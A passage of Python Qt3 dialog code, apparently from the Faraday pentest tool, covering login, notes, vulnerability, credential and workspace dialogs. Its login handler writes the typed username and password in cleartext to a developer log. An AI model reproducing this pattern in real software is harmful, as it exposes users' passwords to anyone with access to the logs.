110 the dialog won't end and will be visible. Remember to call accept &
111 reject internally on your provided callbacks
112 """
113 self.button_box = qt.QHBoxLayout(self.layout)
114 spacer = qt.QSpacerItem(0,0,qt.QSizePolicy.Expanding,qt.QSizePolicy.Minimum)
115 self.button_box.addItem(spacer)
116
117 if buttons is None:
118 self._addOkButton()
119 self._addCancelButton()
120 else:
121 if "ok" in buttons:
122 self._addOkButton(buttons["ok"])
123 if "cancel" in buttons:
124 self._addCancelButton(buttons["cancel"])
125 if "quit" in buttons:
126 self._addQuitButton(buttons["quit"])
127
128 def _addOkButton(self, callback=None):
129 self.ok_button = qt.QPushButton( "OK", self )
130 self.button_box.addWidget( self.ok_button )
131 if callback is None:
132 callback = self.accept
133 self.connect( self.ok_button, qt.SIGNAL('clicked()'), callback )
134
135 def _addCancelButton(self, callback=None):
136 self.cancel_button = qt.QPushButton("Cancel", self)
137 self.button_box.addWidget( self.cancel_button )
138 if callback is None:
139 callback = self.reject
140 self.connect( self.cancel_button, qt.SIGNAL('clicked()'), callback)
141
142 def _addQuitButton(self, callback=None):
143 self.quit_button = qt.QPushButton("Quit", self)
144 self.button_box.addWidget( self.quit_button )
145 if callback is None:
146 callback = self.reject
147 self.connect( self.quit_button, qt.SIGNAL('clicked()'), callback)
148
149 def sizeHint(self):
150
151 return qt.QSize(400, 150)
152
153
154
155 class LoginDialog(BaseDialog):
156 def __init__(self, parent, callback):
157 BaseDialog.__init__(self, parent, "Login",
158 layout_margin=10, layout_spacing=15, modal=True)
159
160 self._auth_callback = callback
161 self.setCaption("Login")
162
163 hbox1 = qt.QHBox(self)
164 hbox1.setSpacing(5)
165 self._username_label = qt.QLabel("Username", hbox1)
166 self._username_edit = qt.QLineEdit(hbox1)
167 self.layout.addWidget(hbox1)
168
169 hbox2 = qt.QHBox(self)
170 hbox2.setSpacing(10)
171 self._password_label = qt.QLabel("Password", hbox2)
172 self.__password_edit = qt.QLineEdit(hbox2)
173 self.__password_edit.setEchoMode(qt.QLineEdit.Password)
174 self.layout.addWidget(hbox2)
175
176 self.__username_txt = self._username_edit.text()
177 self.__passwd_txt = self.__password_edit.text()
178
179 self.setupButtons({
180 "ok" : self._login,
181 "cancel" : self._clear,
182 "quit" : None,
183 })
184
185 def getData(self):
186 self.__username_txt = self._username_edit.text()
187 self.__passwd_txt = self.__password_edit.text()
188 return self.__username_txt.latin1(), self.__passwd_txt.latin1()
189
190 def _login(self):
191
192
193 self.__username_txt = self._username_edit.text()
194 self.__passwd_txt = self.__password_edit.text()
195 api.devlog("Username: %s\nPassword: %s" %(self.__username_txt, self.__passwd_txt))
196 self.accept()
197
198 def _clear(self):
199
200 self._username_edit.clear()
201 self.__password_edit.clear()
202
203 def sizeHint(self):
204 return qt.QSize(250, 100)
205
206
207
208 class DebugPersistenceDialog(BaseDialog):
209
210 def __init__(self, parent):
211 BaseDialog.__init__(self, parent, "PersistenceDebugDialog",
212 layout_margin=15, layout_spacing=10, modal=True)
213 self.setCaption( 'Persistence Debug Dialog' )
214
215 self.layout.addWidget( self.logolabel )
216 self.layout.addWidget( self.text )
217 self.setupButtons({"ok" : None})
218
219
220
221 class ConflictResolutionDialog(BaseDialog):
222 def __init__(self, conflicts, parent=None, name=None):
223
224 BaseDialog.__init__(self, parent, "Conflicts",
225 layout_margin=10, layout_spacing=15, modal=True)
226
227 self.conflict = None
228 self.conflict_iterator = iter(conflicts)
229 self.first_object = None
230 self.second_object = None
231
232 hbox = qt.QHBoxLayout()
233
234 vbox = qt.QVBoxLayout()
235 self.label_first_object = qt.QLabel("", self)
236 vbox.addWidget(self.label_first_object)
237 self.detailtable_first_object = EditionTable(self)
238 self.editor_first_object = None
239 vbox.addWidget(self.detailtable_first_object)
240 self.choice_button_first_object = qt.QRadioButton(self, "")
241 vbox.addWidget(self.choice_button_first_object)
242
243 hbox.addLayout(vbox)
244
245 vbox = qt.QVBoxLayout()
246 self.label_second_object = qt.QLabel("", self)
247 vbox.addWidget(self.label_second_object)
248 self.detailtable_second_object = EditionTable(self)
249 self.editor_second_object = None
250 vbox.addWidget(self.detailtable_second_object)
251 self.choice_button_second_object = qt.QRadioButton(self, "")
252 vbox.addWidget(self.choice_button_second_object)
253
254 self.object_group_button = qt.QButtonGroup()
255 self.object_group_button.insert(self.choice_button_first_object)
256 self.object_group_button.insert(self.choice_button_second_object)
257
258 hbox.addLayout(vbox)
259
260 self.layout.addLayout(hbox)
261
262 self.setupButtons({"ok": self.resolve, "cancel": self.quit})
263
264 self.del_callback = None
265 self.add_callback = None
266
267 self.setup()
268
269 def setup(self):
270 self.getNextConflict()
271 if self.conflict:
272 self.setupConflict()
273 else:
274 self.accept()
275
276 def getNextConflict(self):
277 try:
278 self.conflict = self.conflict_iterator.next()
279 except StopIteration:
280 self.conflict = None
281
282 def setupConflict(self):
283 if not self.conflict:
284 return
285
286 self.first_object = self.conflict.getFirstObject()
287 self.second_object = self.conflict.getSecondObject()
288 type = self.conflict.getModelObjectType()
289
290 self.setCaption(type)
291 name_first_object = self.first_object.getName()
292 name_second_object = self.second_object.getName()
293 if self.first_object.getParent() is not None:
294 name_first_object += " (Host: %s)" % self.first_object.getHost().getName()
295 name_second_object += " (Host: %s)" % self.first_object.getHost().getName()
296 self.label_first_object.setText(name_first_object)
297 self.label_second_object.setText(name_second_object)
298
299 if type == "Host":
300 self.editor_first_object = HostEditor(self.first_object)
301 self.editor_second_object = HostEditor(self.second_object)
302 elif type == "Interface":
303 self.editor_first_object = InterfaceEditor(self.first_object)
304 self.editor_second_object = InterfaceEditor(self.second_object)
305 elif type == "Service":
306 self.editor_first_object = ServiceEditor(self.first_object)
307 self.editor_second_object = ServiceEditor(self.second_object)
308
309 self.editor_first_object.fillEditionTable(self.detailtable_first_object)
310
311 self.editor_second_object.fillEditionTable(self.detailtable_second_object)
312
313
314 def getSelectedEditor(self):
315 if self.choice_button_first_object.isChecked():
316 editor = self.editor_first_object
317 elif self.choice_button_second_object.isChecked():
318 editor = self.editor_second_object
319 else:
320 editor = None
321 return editor
322
323 def resolve(self):
324 editor_selected = self.getSelectedEditor()
325 if editor_selected:
326 guiapi.resolveConflict(self.conflict, editor_selected.getArgs())
327 self.setup()
328
329 def quit(self):
330 self.reject()
331
332 def sizeHint(self):
333 return qt.QSize(750, 500)
334
335
336
337 class ModelObjectListViewItem(qt.QListViewItem):
338 def __init__(self, qtparent, model_object=None):
339 qt.QListViewItem.__init__(self, qtparent)
340 self.model_object = model_object
341 if self.model_object:
342 self.setText(0, model_object.name)
343 else:
344 self.setText(0, "")
345
346 def getModelObject(self):
347 return self.model_object
348
349 class ListableObjecttDialog(BaseDialog):
350 def __init__(self, parent=None, title=None, model_object=None, objects_list = [], layout_margin=10, layout_spacing=15, modal=True):
351 BaseDialog.__init__(self, parent, title,
352 layout_margin=10, layout_spacing=15, modal=True)
353
354 hbox = qt.QHBoxLayout()
355 vbox1 = qt.QVBoxLayout()
356 vbox1.setMargin(5)
357 vbox2 = qt.QVBoxLayout()
358 vbox2.setMargin(5)
359 self.model_object = model_object
360 self.objects_list = objects_list
361 self._selected_object = None
362 self._current_item = None
363 self._selected_items = []
364 self.edition_layout = None
365 self.title = title
366
367 self.listview = qt.QListView(self)
368 self.listview.setSorting(-1)
369 self.listview.setSelectionMode(qt.QListView.Extended)
370 self.connect(self.listview, qt.SIGNAL("selectionChanged()"), self._itemSelected)
371 self.listview.addColumn(title, self.listview.size().width())
372 self.listview.setColumnWidthMode(0, qt.QListView.Maximum)
373 self.setListItems()
374
375 vbox1.addWidget(self.listview)
376
377 self.button_box1 = qt.QHBoxLayout()
378 self.add_button = qt.QPushButton("Add", self)
379 self.add_button.setMaximumSize(qt.QSize(100, 25))
380 self.connect(self.add_button, qt.SIGNAL('clicked()'), self.addValue)
381 self.remove_button = qt.QPushButton("Remove", self)
382 self.remove_button.setMaximumSize(qt.QSize(100, 25))
383 self.connect(self.remove_button, qt.SIGNAL('clicked()'), self.removeValue)
384 self.button_box1.addWidget(self.add_button)
385 self.button_box1.addWidget(self.remove_button)
386 self.button_box1.addStretch(1)
387
388 vbox1.addLayout(self.button_box1)
389
390 self.setupEditor(vbox2)
391
392 self.button_box2 = qt.QHBoxLayout()
393 self.save_button = qt.QPushButton("Save", self)
394 self.save_button.setMaximumSize(qt.QSize(100, 25))
395 self.connect(self.save_button, qt.SIGNAL('clicked()'), self.saveValue)
396 self.button_box2.addWidget(self.save_button)
397 self.button_box2.addStretch(1)
398
399 vbox2.addLayout(self.button_box2)
400
401 hbox.setSpacing(6)
402 hbox.addLayout(vbox1)
403 hbox.addLayout(vbox2)
404 self.layout.addLayout(hbox)
405
406 self.setupButtons({"quit": None})
407
408 def setupEditor(self, parent_layout):
409 pass
410
411 def saveValue(self):
412 pass
413
414 def addValue(self):
415 pass
416
417 def removeValue(self):
418 pass
419
420 def _itemSelected(self):
421 self.edition_layout.clear()
422 self._current_item = self.listview.currentItem()
423 i = self.listview.firstChild()
424 self._selected_items=[]
425 while i is not None:
426 if i.isSelected():
427 self._selected_items.append(i)
428 i = i.itemBelow()
429 self.setEdition()
430
431 def sizeHint(self):
432 return qt.QSize(750, 500)
433
434 class NotesDialog(ListableObjecttDialog):
435 def __init__(self, parent=None, model_object=None):
436 ListableObjecttDialog.__init__(self, parent, "Notes", model_object, model_object.getNotes(),
437 layout_margin=10, layout_spacing=15, modal=True)
438
439 def setupEditor(self, parent_layout):
440 self.edition_layout = NoteEditor(self)
441 parent_layout.addLayout(self.edition_layout)
442
443 def setListItems(self):
444 self.listview.clear()
445 self.rootitem = NoteRootItem(self.listview, self.title, self.model_object)
446 for obj in self.model_object.getNotes():
447 self.rootitem.addNote(obj)
448
449 def setEdition(self):
450 if self._current_item is not None:
451 if self._current_item.type == "Note":
452 self.edition_layout.setNote(self._current_item.getModelObject())
453
454 def saveValue(self):
455 if self._current_item is not None:
456 if self._current_item.type == "Note":
457 note = self._current_item.getModelObject()
458 kwargs = self.edition_layout.getArgs()
459 if kwargs["name"] and kwargs["text"]:
460 guiapi.editNote(note, **kwargs)
461 self.setListItems()
462
463 def addValue(self):
464 dialog = NewNoteDialog(self, callback=self.__addValue)
465 dialog.exec_loop()
466
467 def __addValue(self, *args):
468 obj = self.rootitem.getModelObject()
469 if self._current_item:
470 obj = self._current_item.getModelObject()
471 guiapi.createAndAddNote(obj, *args)
472 self.setListItems()
473
474 def removeValue(self):
475 for item in self._selected_items:
476 if item.type == "Note":
477 note = item.getModelObject()
478 guiapi.delNote(note.getParent().getID(), note.getID())
479 self.setListItems()
480 self.edition_layout.clear()
481
482
483 def sizeHint(self):
484 return qt.QSize(750, 500)
485
486
487 class VulnsDialog(ListableObjecttDialog):
488 def __init__(self, parent=None, model_object=None):
489 ListableObjecttDialog.__init__(self, parent, "Vulns", model_object, model_object.getVulns(),
490 layout_margin=10, layout_spacing=15, modal=True)
491
492 def setupEditor(self, parent_layout):
493 self._widget_stack = qt.QWidgetStack(self)
494
495 self._vuln_edition_widget = qt.QFrame()
496 self._vuln_edition_layout = VulnEditor(self._vuln_edition_widget)
497
498 self._vuln_web_scrollbar_view = qt.QScrollView()
499 self._vuln_web_scrollbar_view.setResizePolicy(qt.QScrollView.AutoOneFit)
500 self._vuln_web_edition_widget = qt.QFrame(self._vuln_web_scrollbar_view.viewport())
501 self._vuln_web_edition_layout = VulnWebEditor(self._vuln_web_edition_widget)
502 self._vuln_web_edition_layout.setMargin(5)
503 self._vuln_web_scrollbar_view.addChild(self._vuln_web_edition_widget)
504
505 self._widget_stack.addWidget(self._vuln_edition_widget, 0)
506 self._widget_stack.addWidget(self._vuln_web_scrollbar_view, 1)
507 self._widget_stack.raiseWidget(self._vuln_edition_widget)
508
509 self._vuln_edition_widget.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Ignored, qt.QSizePolicy.Ignored))
510 self._vuln_web_edition_widget.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Ignored, qt.QSizePolicy.Ignored))
511
512 self.edition_layout = self._vuln_edition_widget.layout()
513
514 parent_layout.addWidget(self._widget_stack)
515
516 def setListItems(self):
517 self.listview.clear()
518 self.rootitem = VulnRootItem(self.listview, self.title, self.model_object)
519 for obj in self.model_object.getVulns():
520 self.rootitem.addVuln(obj)
521
522 def setEdition(self):
523 if self._current_item is not None:
524 if self._current_item.type == "Vuln" or self._current_item.type == "VulnWeb":
525 widget = self._vuln_edition_widget
526 self._widget_stack.raiseWidget(widget)
527 if self._current_item.type == "VulnWeb":
528 widget = self._vuln_web_edition_widget
529 self._widget_stack.raiseWidget(self._vuln_web_scrollbar_view)
530 self.edition_layout = widget.layout()
531 self.edition_layout.setVuln(self._current_item.getModelObject())
532
533 def saveValue(self):
534 if self._current_item is not None:
535 if self._current_item.type == "Vuln" or self._current_item.type == "VulnWeb":
536 vuln = self._current_item.getModelObject()
537 kwargs = self.edition_layout.getArgs()
538 if kwargs["name"] and kwargs["desc"]:
539 if self._current_item.type == "Vuln":
540 guiapi.editVuln(vuln, **kwargs)
541 else:
542 guiapi.editVulnWeb(vuln, **kwargs)
543 self.setListItems()
544
545 def addValue(self):
546 vuln_web_enabled = False
547 if self.model_object.class_signature == "Service":
548 vuln_web_enabled = True
549 dialog = NewVulnDialog(self, callback=self.__addValue, vuln_web_enabled=vuln_web_enabled)
550 dialog.exec_loop()
551
552 def __addValue(self, *args):
553 obj = self.model_object
554 if args[0]:
555
556 guiapi.createAndAddVulnWeb(obj, *args[1:])
557 else:
558 guiapi.createAndAddVuln(obj, *args[1:])
559 self.setListItems()
560
561 def removeValue(self):
562 for item in self._selected_items:
563 if item.type == "Vuln" or item.type == "VulnWeb":
564 vuln = item.getModelObject()
565 guiapi.delVuln(vuln.getParent().getID(), vuln.getID())
566 self.setListItems()
567 self.edition_layout.clear()
568
569 def sizeHint(self):
570 return qt.QSize(850, 500)
571
572
573 class CredsDialog(ListableObjecttDialog):
574 def __init__(self, parent=None, model_object=None):
575 ListableObjecttDialog.__init__(self, parent, "Credentials", model_object, model_object.getCreds(),
576 layout_margin=10, layout_spacing=15, modal=True)
577
578 def setupEditor(self, parent_layout):
579 self.edition_layout = CredEditor(self)
580 parent_layout.addLayout(self.edition_layout)
581
582 def setListItems(self):
583 self.listview.clear()
584 self.rootitem = CredRootItem(self.listview, self.title, self.model_object)
585 for obj in self.model_object.getCreds():
586 self.rootitem.addCred(obj)
587
588 def setEdition(self):
589 if self._current_item is not None:
590 if self._current_item.type == "Cred":
591 self.edition_layout.setCred(self._current_item.getModelObject())
592
593 def saveValue(self):
594 if self._current_item is not None:
595 if self._current_item.type == "Cred":
596 cred = self._current_item.getModelObject()
597 kwargs = self.edition_layout.getArgs()
598 if kwargs["username"] and kwargs["password"]:
599 guiapi.editCred(cred, **kwargs)
600 self.setListItems()
601
602 def addValue(self):
603 dialog = NewCredDialog(self, callback=self.__addValue)
604 dialog.exec_loop()
605
606 def __addValue(self, *args):
607 obj = self.rootitem.getModelObject()
608 guiapi.createAndAddCred(obj, *args)
609 self.setListItems()
610
611 def removeValue(self):
612 for item in self._selected_items:
613 if item.type == "Cred":
614 cred = item.getModelObject()
615 guiapi.delCred(cred.getParent().getID(), cred.getID())
616 self.setListItems()
617 self.edition_layout.clear()
618
619
620 def sizeHint(self):
621 return qt.QSize(750, 500)
622
623
624 class AboutDialog(BaseDialog):
625
626 def __init__(self, parent):
627 BaseDialog.__init__(self, parent, "AboutDialog",
628 layout_margin=15, layout_spacing=10, modal=True)
629 self.setCaption( 'About %s' % CONF.getAppname() )
630
631 self.logo = qt.QPixmap( os.path.join(CONF.getImagePath(),"about.png") )
632 self.logolabel = qt.QLabel( self )
633 self.logolabel.setPixmap( self.logo )
634 self.logolabel.setAlignment( qt.Qt.AlignHCenter | qt.Qt.AlignVCenter )
635
636
637
638 self._about_text = u"""%s v%s""" % (CONF.getAppname(),CONF.getVersion())
639
640 self.text = qt.QLabel( self._about_text, self )
641 self.text.setAlignment( qt.Qt.AlignHCenter | qt.Qt.AlignVCenter )
642
643 self.layout.addWidget( self.logolabel )
644 self.layout.addWidget( self.text )
645 self.setupButtons({"ok" : None})
646
647
648
649 class RepositoryConfigDialog(BaseDialog):
650
651 def __init__(self, parent, url="http://example:5984", replication = False, replics = "", callback=None):
652 BaseDialog.__init__(self, parent, "RepositoryConfig",
653 layout_margin=25, layout_spacing=20, modal=True)
654
655 self._callback = callback
656
657 self.setCaption("Repository Configuration")
658
659 hbox1 = qt.QHBox(self)
660 hbox1.setSpacing(10)
661 self._repourl_label = qt.QLabel("CouchDB URL", hbox1)
662 self._repourl_edit = qt.QLineEdit(hbox1)
663 if url: self._repourl_edit.setText(url)
664 self.layout.addWidget(hbox1)
665
666 hbox2 = qt.QHBox(self)
667 hbox2.setSpacing(5)
668 self._replicate_label = qt.QLabel("Replication enabled", hbox2)
669 self._replicate_edit = qt.QCheckBox(hbox2)
670 self._replicate_edit.setChecked(replication)
671
672 self.layout.addWidget(hbox2)
673
674 hbox3 = qt.QHBox(self)
675 hbox3.setSpacing(10)
676 self._replics_label = qt.QLabel("Replics", hbox3)
677 self.__replics_edit = qt.QLineEdit(hbox3)
678 if replics: self.__replics_edit.setText(replics)
679 self.layout.addWidget(hbox3)
680
681 self.__repourl_txt = self._repourl_edit.text()
682 self.__is_replicated_bool = self._replicate_edit.isChecked()
683 self.__replics_list_txt = self.__replics_edit.text()
684
685
686 self.setupButtons({ "ok" : self.ok_pressed,
687 "cancel" : None
688 })
689
690 def getData(self):
691 self.__repourl_txt = self._repourl_edit.text()
692 self.__is_replicated_bool = self._replicate_edit.isChecked()
693 self.__replics_list_txt = self.__replics_edit.text()
694 return (self.__repourl_txt.latin1(),
695 self.__is_replicated_bool,
696 self.__replics_list_txt.latin1())
697
698 def ok_pressed(self):
699 if self._callback is not None:
700 self._callback(*self.getData())
701 self.accept()
702
703
704
705 class ExceptionDialog(BaseDialog):
706
707 def __init__(self, parent, text="", callback=None, excection_objects=None):
708 BaseDialog.__init__(self, parent, "ExceptionDialog",
709 layout_margin=10, layout_spacing=15, modal=True)
710 self._callback = callback
711 self._excection_objects = excection_objects
712 self.setCaption('Error')
713
714 label1 = qt.QLabel("An unhandled error ocurred...", self )
715 label1.setAlignment( qt.Qt.AlignHCenter | qt.Qt.AlignVCenter )
716 self.layout.addWidget(label1)
717
718 exception_textedit = qt.QTextEdit(self)
719 exception_textedit.setTextFormat(qt.Qt.LogText)
720 exception_textedit.append(text)
721 self.layout.addWidget(exception_textedit)
722
723 label2 = qt.QLabel("""Do you want to collect information and send it to Faraday developers?\n\
724 If you press Cancel the application will just continue.""", self )
725 label2.setAlignment( qt.Qt.AlignHCenter | qt.Qt.AlignVCenter )
726 self.layout.addWidget(label2)
727
728 self.setupButtons({ "ok" : self.ok_pressed,
729 "cancel" : None
730 })
731 def ok_pressed(self):
732 if self._callback is not None:
733 self._callback(*self._excection_objects)
734 self.accept()
735
736 def sizeHint(self):
737 return qt.QSize(680, 300)
738
739
740 class SimpleDialog(BaseDialog):
741
742 def __init__(self, parent, text="", type="Information"):
743 BaseDialog.__init__(self, parent, "SimpleDialog",
744 layout_margin=10, layout_spacing=10, modal=True)
745 self.setCaption(type)
746
747
748 self.text = qt.QLabel(self)
749 self.text.setTextFormat(qt.Qt.RichText)
750 self.text.setText(text.replace("\n", "<br>"))
751 self.text.setAlignment( qt.Qt.AlignHCenter | qt.Qt.AlignVCenter )
752 self.layout.addWidget( self.text )
753 self.setupButtons({"ok" : None})
754
755
756 class ExitDialog(BaseDialog):
757 def __init__(self, parent, callback=None,title="Exit", msg="Are you sure?"):
758 BaseDialog.__init__(self, parent, "ExitDialog",
759 layout_margin=20, layout_spacing=15, modal=True)
760 self.setCaption(title)
761
762 hbox1 = qt.QHBox(self)
763 hbox1.setSpacing(5)
764 self._message_label = qt.QLabel(msg, hbox1)
765 self._message_label.setAlignment( qt.Qt.AlignHCenter | qt.Qt.AlignVCenter )
766 self.layout.addWidget(hbox1)
767 self.setupButtons({ "ok" : callback,
768 "cancel" : None
769 })
770
771 def sizeHint(self):
772 return qt.QSize(50, 50)
773
774
775
776 class MessageDialog(BaseDialog):
777 def __init__(self, parent, callback=None , title="Are you sure?", msg="Are you sure?", item=None):
778 BaseDialog.__init__(self, parent, "ExitDialog",
779 layout_margin=20, layout_spacing=15, modal=True)
780 self.setCaption(title)
781
782 self._callback = callback
783 self._item=item
784 hbox1 = qt.QHBox(self)
785 hbox1.setSpacing(5)
786 self._message_label = qt.QLabel(msg, hbox1)
787 self._message_label.setAlignment( qt.Qt.AlignHCenter | qt.Qt.AlignVCenter )
788 self.layout.addWidget(hbox1)
789 self.setupButtons({ "ok" : self.ok_pressed,
790 "cancel" : None
791 })
792 def ok_pressed(self):
793 if self._callback is not None:
794 self._callback(self._item)
795 self.accept()
796
797 def sizeHint(self):
798 return qt.QSize(50, 50)
799
800
801
802 class VulnDialog(BaseDialog):
803
804 def __init__(self, parent, name="",description="", ref="", callback=None, item=None):
805 BaseDialog.__init__(self, parent, "VulnDialog",
806 layout_margin=10, layout_spacing=15, modal=True)
807
808 self._item = item
809 self._callback = callback
810 self.setCaption("New vulnerability" if name is "" else "Vuln %s" % item.name)
811
812
813
814 hbox1 = qt.QHBox(self)
815 hbox1.setSpacing(5)
816 name_label = qt.QLabel("Name", hbox1)
817 self._name_edit = qt.QLineEdit(hbox1)
818 if name: self._name_edit.setText(name)
819 self.layout.addWidget(hbox1)
820
821 hbox2 = qt.QHBox(self)
822 hbox2.setSpacing(5)
823 ref_label = qt.QLabel("Ref", hbox2)
824 self._ref_edit = qt.QLineEdit(hbox2)
825 if ref: self._ref_edit.setText(ref)
826 self.layout.addWidget(hbox2)
827
828 vbox6 = qt.QVBox(self)
829 vbox6.setSpacing(5)
830 description_label = qt.QLabel("Description:", vbox6 )
831
832 self._description_edit = qt.QTextEdit(vbox6)
833 self._description_edit.setTextFormat(qt.Qt.PlainText)
834 if description: self._description_edit.append(description)
835 self.layout.addWidget(vbox6)
836
837 self.setupButtons({ "ok" : self.ok_pressed,
838 "cancel" : None
839 })
840 def ok_pressed(self):
841 if self._callback is not None:
842 if self._name_edit.text() != "":
843 self._callback("%s" % self._name_edit.text(),"%s" % self._description_edit.text(),
844 "%s" % self._ref_edit.text(),self._item)
845 self.accept()
846 else:
847 dialog = SimpleDialog(self, "Please select a name")
848 dialog.exec_loop()
849
850 def sizeHint(self):
851 return qt.QSize(600, 400)
852
853
854 class CategoryDialog(BaseDialog):
855
856 def __init__(self, parent, name="", callback=None, item=None):
857 BaseDialog.__init__(self, parent, "CategoryDialog",
858 layout_margin=10, layout_spacing=15, modal=True)
859
860 self._item = item
861 self._callback = callback
862 self.setCaption("New category" if name is "" else "Category in %s" % item.name)
863
864 hbox1 = qt.QHBox(self)
865 hbox1.setSpacing(5)
866 name_label = qt.QLabel("Name", hbox1)
867 self._name_edit = qt.QLineEdit(hbox1)
868 if name: self._name_edit.setText(name)
869 self.layout.addWidget(hbox1)
870
871 self.setupButtons({ "ok" : self.ok_pressed,
872 "cancel" : None
873 })
874
875 def ok_pressed(self):
876 if self._callback is not None:
877 if self._name_edit.text() != "":
878 self._callback("%s" % self._name_edit.text(), self._item)
879 self.accept()
880 else:
881 dialog = SimpleDialog(self, "Please select a name")
882 dialog.exec_loop()
883
884 def sizeHint(self):
885 return qt.QSize(600, 400)
886
887
888
889 class NoteDialog(BaseDialog):
890
891 def __init__(self, parent, name="", text="", callback=None, item=None):
892 BaseDialog.__init__(self, parent, "NoteDialog",
893 layout_margin=10, layout_spacing=15, modal=True)
894
895 self._item = item
896 self._callback = callback
897 self.setCaption("New note" if name is "" else "Note %d" % item.id)
898
899 hbox1 = qt.QHBox(self)
900 hbox1.setSpacing(5)
901 name_label = qt.QLabel("Name", hbox1)
902 self._name_edit = qt.QLineEdit(hbox1)
903 if name: self._name_edit.setText(name)
904 self.layout.addWidget(hbox1)
905
906 vbox2 = qt.QVBox(self)
907 vbox2.setSpacing(3)
908 content_label = qt.QLabel("Note content:", vbox2 )
909
910 self._textedit = qt.QTextEdit(vbox2)
911 self._textedit.setTextFormat(qt.Qt.PlainText)
912 if text: self._textedit.append(text)
913 self.layout.addWidget(vbox2)
914
915 self.setupButtons({ "ok" : self.ok_pressed,
916 "cancel" : None
917 })
918 def ok_pressed(self):
919 if self._callback is not None:
920 if self._name_edit.text() != "":
921 if self._item is not None:
922 self._callback(self._name_edit.text(), self._textedit.text(),self._item)
923 else:
924 self._callback(self._name_edit.text(), self._textedit.text())
925 self.accept()
926 else:
927 dialog = SimpleDialog(self, "Please select a name")
928 dialog.exec_loop()
929
930 def sizeHint(self):
931 return qt.QSize(600, 400)
932
933
934
935
936 class NotificationWidget(qt.QLabel):
937 def __init__(self, parent, text=""):
938 qt.QLabel.__init__(self, parent, "notification")
939 pal = qt.QPalette()
940 color = qt.QColor(232, 226, 179, qt.QColor.Rgb)
941 pal.setColor(qt.QColorGroup.Background, color)
942 self.setTextFormat(qt.Qt.RichText)
943 self.setText(text.replace("\n", "<br>"))
944 self.setFrameStyle(qt.QFrame.PopupPanel | qt.QFrame.Plain)
945 self.setAlignment( qt.Qt.AlignHCenter | qt.Qt.AlignVCenter )
946 self.setPalette(pal)
947
948 _w,_h=self._getsize(text)
949 self.resize(qt.QSize(_w,_h))
950
951 self._updatePos(parent)
952
953 def _getsize(self, text):
954 _tlist=text.split("\n")
955 _width=0
956 _w=10
957 for i in _tlist:
958 _size=len(i)
959 if _size > _width:
960 _width = _size
961 if _size > 80 and len(i.split(" ")) <=2:
962 _w=12
963
964
965 return _width*_w,(28*len(text.split("\n")))
966
967
968 def _updatePos(self, parent):
969 pos = qt.QPoint()
970 pos.setX(parent.width() - self.width() - 5)
971 pos.setY(parent.height() - self.height() - 20)
972 self.move(pos)
973
974 def closeNotification(self):
975 self.hide()
976 parent = self.parent()
977 parent.removeChild(self)
978 self.destroy()
979
980
981
982 class WorkspacePropertiesDialog(BaseDialog):
983
984 def __init__(self, parent, text="", callback=None, workspace=None):
985 BaseDialog.__init__(self, parent, "WorkspacePropertiesDialog",
986 layout_margin=10, layout_spacing=15, modal=True)
987 self._callback = callback
988 self.setCaption('Workspace Properties')
989
990
991 hbox1 = qt.QHBox(self)
992 hbox1.setSpacing(5)
993 self._name_label = qt.QLabel("Name", hbox1)
994 self._name_edit = qt.QLineEdit(hbox1)
995 self.layout.addWidget(hbox1)
996
997 hbox2 = qt.QHBox(self)
998 self._sdate_edit = qt.QDateEdit(hbox2, "start_date")
999 self.layout.addWidget(hbox2)
1000
1001 hbox3 = qt.QHBox(self)
1002 self._fdate_edit = qt.QDateEdit(hbox3, "ftart_date")
1003 self.layout.addWidget(hbox3)
1004
1005 hbox4 = qt.QHBox(self)
1006 self._shared_checkbox = qt.QCheckBox("Shared", hbox4, "shared")
1007 self.layout.addWidget(hbox4)
1008
1009 hbox5 = qt.QHBox(self)
1010 hbox5.setSpacing(10)
1011 self._desc_label = qt.QLabel("Description", hbox5)
1012 self._desc_edit = qt.QTextEdit(hbox5)
1013 self.layout.addWidget(hbox5)
1014
1015
1016
1017 self.setupButtons({ "ok" : self.ok_pressed,
1018 "cancel" : None
1019 })
1020
1021 def ok_pressed(self):
1022
1023
1024 if self._callback is not None:
1025 name = self._name_edit.text()
1026 description = self._desc_edit.text()
1027 sdate = self._sdate_edit.date.toString()
1028 fdate = self._fdate_edit.date.toString()
1029 shared = self._shared_checkbox.checked
1030 self._callback()
1031 self.accept()
1032
1033 def sizeHint(self):
1034 return qt.QSize(600, 400)
1035
1036
1037
1038
1039 class WorkspaceCreationDialog(BaseDialog):
1040
1041 def __init__(self, parent, text="", callback=None, workspace=None, workspace_manager=None):
1042 BaseDialog.__init__(self, parent, "WorkspaceCreationDialog",
1043 layout_margin=10, layout_spacing=15, modal=True)
1044 self._callback = callback
1045 self.setCaption('New Workspace')
1046 self._main_window = parent
1047
1048 hbox1 = qt.QHBox(self)
1049 hbox1.setSpacing(5)
1050 self._name_label = qt.QLabel("Name", hbox1)
1051 self._name_edit = qt.QLineEdit(hbox1)
1052 self.layout.addWidget(hbox1)
1053
1054 hbox2 = qt.QHBox(self)
1055 hbox2.setSpacing(10)
1056 self._desc_label = qt.QLabel("Description", hbox2)
1057 self._desc_edit = qt.QTextEdit(hbox2)
1058 self.layout.addWidget(hbox2)
1059
1060 hbox3 = qt.QHBox(self)
1061 hbox3.setSpacing(10)
1062 self._type_label = qt.QLabel("Type", hbox3)
1063 self._type_combobox = qt.QComboBox(hbox3)
1064 self._type_combobox.setEditable(False)
1065 for w in workspace_manager.getAvailableWorkspaceTypes():
1066 self._type_combobox.insertItem(w)
1067 self.layout.addWidget(hbox3)
1068
1069 if len(workspace_manager.getAvailableWorkspaceTypes()) <= 1:
1070 parent.showPopup("No Couch Configuration available. Config, more workpsaces flavors")
1071
1072 self.__name_txt = self._name_edit.text()
1073 self.__desc_txt = self._desc_edit.text()
1074 self.__type_txt = str(self._type_combobox.currentText())
1075
1076 self.setupButtons({ "ok" : self.ok_pressed,
1077 "cancel" : None
1078 })
1079 def ok_pressed(self):
1080 res = re.match(r"^[a-z][a-z0-9\_\$()\+\-\/]*$", str(self._name_edit.text()))
1081 if res:
1082 if self._callback is not None:
1083 self.__name_txt = str(self._name_edit.text())
1084 self.__desc_txt = str(self._desc_edit.text())
1085 self.__type_txt = str(self._type_combobox.currentText())
1086 self._callback(self.__name_txt, self.__desc_txt, self.__type_txt)
1087 self.accept()
1088 else:
1089 self._main_window.showPopup("A workspace must be named with all lowercase letters (a-z), digits (0-9) or any of the _$()+-/ characters. The name has to start with a lowercase letter (a-z)")
1090
1091
1092
1093 class PluginSettingsDialog(BaseDialog, PluginSettingsUi):
